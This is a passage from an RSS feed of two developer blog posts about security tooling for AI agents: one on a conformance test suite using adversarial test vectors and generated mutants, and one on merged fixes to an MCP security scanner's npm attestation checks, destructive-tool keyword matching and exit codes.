&lt;p&gt;The second critique is the one that stings most, because it's our own argument: the closed-catalogue case against the memorizer applies to a hand-listed mutant catalogue for the same reason — memorizing wins whenever the set it has to cover is closed and small.&lt;/p&gt;

&lt;p&gt;The 10/10 mutant detection establishes exactly what it says: those ten are detected. The catalogue was written after the defects were known. That ordering disqualifies any claim beyond detection of the listed set; it cannot estimate what fraction of the remaining failure space walks through. Fair hit, fully conceded.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. What v1.4.0 changes — both land together
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Adversarial generation mode.&lt;/strong&gt; The generator gets an explicit &lt;code&gt;--adversarial&lt;/code&gt; flag that emits &lt;em&gt;correctly signed&lt;/em&gt; cards violating the validity window, with &lt;code&gt;expected_verify: false&lt;/code&gt;, cross-checked against derived truth — never the sidecar, per the asymmetry you identified: an absent file can't lie, a disagreeing one can. Issuance offset is sampled relative to the scoring clock, with deliberate mass at and a few seconds past the boundary, so the bound is tested by a distribution instead of a fixture. &lt;code&gt;FATAL&lt;/code&gt; stays reserved for unintended violations in valid-card mode; window violations under &lt;code&gt;--adversarial&lt;/code&gt; are expected failures, not errors.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Generated mutants.&lt;/strong&gt; The hand-listed catalogue is replaced by generation: a declared set of syntax-level operators — negate branch condition, swap comparison direction, drop a guard, off-by-one the clock — applied at &lt;em&gt;every&lt;/em&gt; applicable site in &lt;code&gt;score-runner.mjs&lt;/code&gt;, mechanically rather than by hand. What gets published is the survivor list, with equivalent mutants separated out. Each survivor names a check the suite doesn't enforce; that list is the claim, a caught-count is not.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Rekor: commit-to-existence is not serving-integrity
&lt;/h3&gt;

&lt;p&gt;Your cut here is exact: the entry commits to a digest existing at a point in time. It says nothing about whether any origin serves those bytes &lt;em&gt;now&lt;/em&gt; — and a stranger who pulls both the scorer and its expected digest from the same hub runs a comparison that never leaves that origin. The honest label for the current setup is "tamper-evidence with an anchored timestamp," not "independent verification."&lt;/p&gt;

&lt;p&gt;The fix direction is cross-anchoring: the same digest republished from origins that don't share control — the npm tarball, the Rekor entry, and at least one host we don't operate — so a mismatch anywhere becomes a checkable event rather than trust in one hub. That is queued after v1.4.0. I am not dressing it up as done.&lt;/p&gt;




&lt;h3&gt;
  
  
  What to ask when you re-run after v1.4.0
&lt;/h3&gt;

&lt;p&gt;The two questions worth asking are the ones you'd ask anyway:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Does the runner's rejection rate hold at the sampled boundary — not just at the one frozen timestamp?&lt;/li&gt;
&lt;li&gt;Does the survivor list shrink when the derived-truth checks tighten — and are the survivors that remain genuinely equivalent mutants, or named gaps?&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The suite's job is to make those questions answerable by anyone with the repo and a clock. v1.4.0 is scoped to exactly that.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;I'm Edison Flores, founder of &lt;a href="https://github.com/alicelabs-llc" rel="noopener noreferrer"&gt;AliceLabs LLC&lt;/a&gt; — we build open-source security infrastructure for AI agents. The conformance vectors live in the &lt;a href="https://github.com/alicelabs-llc/universal-trust-adapter" rel="noopener noreferrer"&gt;universal-trust-adapter&lt;/a&gt; repo; independent verification of anything cited here is not just welcome, it's the point.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>ai</category>
      <category>opensource</category>
    </item>
    <item>
      <title>Three merged PRs in an MCP security scanner: the review that found my bug, and two more</title>
      <dc:creator>Edison Flores</dc:creator>
      <pubDate>Sat, 03 Oct 2026 21:21:41 +0000</pubDate>
      <link>https://dev.to/edison_flores_6d2cd381b13/three-merged-prs-in-an-mcp-security-scanner-the-review-that-found-my-bug-and-two-more-3887</link>
      <guid>https://dev.to/edison_flores_6d2cd381b13/three-merged-prs-in-an-mcp-security-scanner-the-review-that-found-my-bug-and-two-more-3887</guid>
      <description>&lt;h2&gt;
  
  
  What happened
&lt;/h2&gt;

&lt;p&gt;Three PRs merged into &lt;a href="https://github.com/yunaremaia/mcp-guard" rel="noopener noreferrer"&gt;yunaremaia/mcp-guard&lt;/a&gt; — a supply-chain/security scanner for MCP servers — in roughly 36 hours:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;PR&lt;/th&gt;
&lt;th&gt;What it did&lt;/th&gt;
&lt;th&gt;The interesting part&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://github.com/yunaremaia/mcp-guard/pull/87" rel="noopener noreferrer"&gt;#87&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;scan --fail-on low&lt;/code&gt; no longer exits 1 on a &lt;em&gt;clean&lt;/em&gt; empty scan&lt;/td&gt;
&lt;td&gt;the root cause was &lt;code&gt;max(..., default=0)&lt;/code&gt; vs a threshold of &lt;code&gt;0&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://github.com/yunaremaia/mcp-guard/pull/88" rel="noopener noreferrer"&gt;#88&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;keyword matching no longer flags read-only tools as CRITICAL&lt;/td&gt;
&lt;td&gt;substring matching + the false-positive/false-negative trade-off&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://github.com/yunaremaia/mcp-guard/pull/86" rel="noopener noreferrer"&gt;#86&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;mcp-guard verify&lt;/code&gt; — npm supply-chain verification (attestations, provenance, strict policy)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;the maintainer's review found that my feature could never report "signed"&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;That last cell is the reason this post exists. The rest is what the merge taught.&lt;/p&gt;

&lt;h2&gt;
  
  
  The embarrassing one: a feature that could never say "yes"
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;verify&lt;/code&gt; resolves an npm package ref, hits the registry, and checks for &lt;a href="https://github.com/npm/attestations" rel="noopener noreferrer"&gt;npm's provenance attestations&lt;/a&gt; (sigstore bundles). I shipped v1 with the documented endpoint shape:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET /-/npm/v1/packages/attestations/{name}/{version}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;316 tests green, 100% coverage on the new module, smoke-tested live against the registry. Merged? Not yet — &lt;a href="https://github.com/yunaremaia/mcp-guard/pull/86" rel="noopener noreferrer"&gt;the review&lt;/a&gt; came back with a reproduction: &lt;strong&gt;that URL 404s for every package, including &lt;code&gt;@sigstore/sign&lt;/code&gt;&lt;/strong&gt; — the reference implementation of the thing being verified. Every verdict was structurally "unsigned." A security tool whose happy path can never fire.&lt;/p&gt;

&lt;p&gt;The real contract, verified against the live registry:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;GET /{name}/{version}&lt;/code&gt; (the manifest) carries &lt;code&gt;dist.attestations.url&lt;/code&gt; when — and only when — the version is signed&lt;/li&gt;
&lt;li&gt;packages without attestations simply lack the field&lt;/li&gt;
&lt;li&gt;the packument (&lt;code&gt;GET /{name}&lt;/code&gt;) carries it per-version under &lt;code&gt;versions[v].dist.attestations&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;only the &lt;em&gt;pathname&lt;/em&gt; of the discovered URL is trusted; it's re-attached to the registry origin, never followed as an absolute host (normalization in the spirit of pacote)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So the manifest became the single source of truth: unpinned refs resolve &lt;code&gt;dist-tags&lt;/code&gt; + &lt;code&gt;versions[latest]&lt;/code&gt; from the packument; pinned refs fetch the manifest directly and a 404 there is a real &lt;code&gt;not_found&lt;/code&gt; instead of a disguised &lt;code&gt;unsigned&lt;/code&gt;. Two states that a policy gate (&lt;code&gt;--policy strict&lt;/code&gt;, exit 1 on unsigned) must never confuse.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The takeaway&lt;/strong&gt;: green tests mean the code matches &lt;em&gt;your model&lt;/em&gt; of the world. The reviewer's repro checked the model. For anything that talks to a live registry, "verified in vivo" needs to include the negative control — and ideally someone who tries the endpoint you were &lt;em&gt;sure&lt;/em&gt; about.&lt;/p&gt;

&lt;h2&gt;
  
  
  The subtle one: when a fix trades a false positive for a false negative
&lt;/h2&gt;

&lt;p&gt;mcp-guard flags tools as write/destructive by keyword. It matched substrings: &lt;code&gt;get_address&lt;/code&gt; contained "add"... which is a write verb fragment; worse, names like &lt;code&gt;read_settings&lt;/code&gt; and &lt;code&gt;search_update_records&lt;/code&gt; tripped the update rule. Read-only tools flagged CRITICAL (&lt;a href="https://github.com/yunaremaia/mcp-guard/pull/84" rel="noopener noreferrer"&gt;#84&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;The fix design:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;names&lt;/strong&gt; are tokenized (snake/kebab/camelCase split with &lt;code&gt;[\s_\-.]+&lt;/code&gt; after camel splitting) and matched per whole segment&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;descriptions&lt;/strong&gt; match on word boundaries&lt;/li&gt;
&lt;li&gt;a leading &lt;strong&gt;read-only verb&lt;/strong&gt; (&lt;code&gt;get&lt;/code&gt;, &lt;code&gt;read&lt;/code&gt;, &lt;code&gt;list&lt;/code&gt;, &lt;code&gt;search&lt;/code&gt;, &lt;code&gt;fetch&lt;/code&gt;, …) suppresses &lt;em&gt;only&lt;/em&gt; the name-based match — the description channel stays live&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;First version of the guard: &lt;a href="https://github.com/yunaremaia/mcp-guard/pull/88#issuecomment-5972930919-ish" rel="noopener noreferrer"&gt;the review caught it&lt;/a&gt; — &lt;code&gt;get_and_delete_user&lt;/code&gt; stopped flagging. For a security tool, trading "read-only flagged as critical" for "destructive not flagged at all" is the wrong direction. The merged rule: suppression only while the keyword follows the verb &lt;strong&gt;directly through a conjunction&lt;/strong&gt; (&lt;code&gt;get_delete_and_remove_user&lt;/code&gt; still flags, &lt;code&gt;get_and_delete_user&lt;/code&gt; doesn't), plus inflection handling (&lt;code&gt;Deletes&lt;/code&gt;/&lt;code&gt;dropping&lt;/code&gt;/&lt;code&gt;modifies&lt;/code&gt;) for descriptions.&lt;/p&gt;

&lt;p&gt;Same lesson as the fusion post from today, inverted: assert the shape of the whole class, not just the case you came to fix. The test suite parametrizes both directions — the five false positives from the issue &lt;em&gt;and&lt;/em&gt; the true positives the naive guard would have swallowed.&lt;/p&gt;

&lt;h2&gt;
  
  
  The small one: exit codes are API
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;--fail-on low&lt;/code&gt; with a &lt;em&gt;zero-findings&lt;/em&gt; scan exited 1, because &lt;code&gt;max(severities, default=0) &amp;gt;= 0&lt;/code&gt; is always true. An empty scan is "nothing found at the strictest gate" — that's success (&lt;a href="https://github.com/yunaremaia/mcp-guard/pull/82" rel="noopener noreferrer"&gt;#82&lt;/a&gt;, fixed by &lt;code&gt;default=-1&lt;/code&gt;). Two-line fix, two regression tests, and worth filing anyway: CI pipelines drink exit codes, and a flaky &lt;code&gt;1&lt;/code&gt; on clean scans trains people to ignore the gate.&lt;/p&gt;

&lt;h2&gt;
  
  
  What actually got three PRs merged
&lt;/h2&gt;

&lt;p&gt;Not talent — shape:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;One mechanism per PR.&lt;/strong&gt; The exit-code PR didn't touch the matcher. The matcher PR didn't touch exit codes. Reviewable in one sitting, revertable independently.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tests that fail first.&lt;/strong&gt; Every PR's tests were verified red on &lt;code&gt;main&lt;/code&gt; before the fix was claimed. Three of four in #88, both in #87.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Repro before argument.&lt;/strong&gt; Every issue got the mechanism verified live (the exact versions, the exact numbers) before a fix was proposed.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Review comments answered with commits, not prose.&lt;/strong&gt; Both reviews came back with technical objections; both were answered by push + a comment explaining the diff. The maintainer merged within hours of each.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scope honesty.&lt;/strong&gt; &lt;code&gt;drop_in_query&lt;/code&gt; still false-flags (adjective vs verb needs semantics) — documented in the PR as out of scope rather than silently shipped.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The repo is young, the maintainer is fast and rigorous, and the issues are real bugs with clean repros — if you want a place to practice security-tool contributions, &lt;a href="https://github.com/yunaremaia/mcp-guard/issues" rel="noopener noreferrer"&gt;the issue tracker&lt;/a&gt; is open.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Disclosure: the investigation, fixes and tests were AI-assisted (Claude/GLM), human-directed — same disclosure is on the linked PRs. The mcp-guard maintainer's reviews are what made all three PRs better than their first versions.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>mcp</category>
      <category>security</category>
      <category>supplychain</category>
      <category>python</category>
    </item>
  </channel>
</rss>
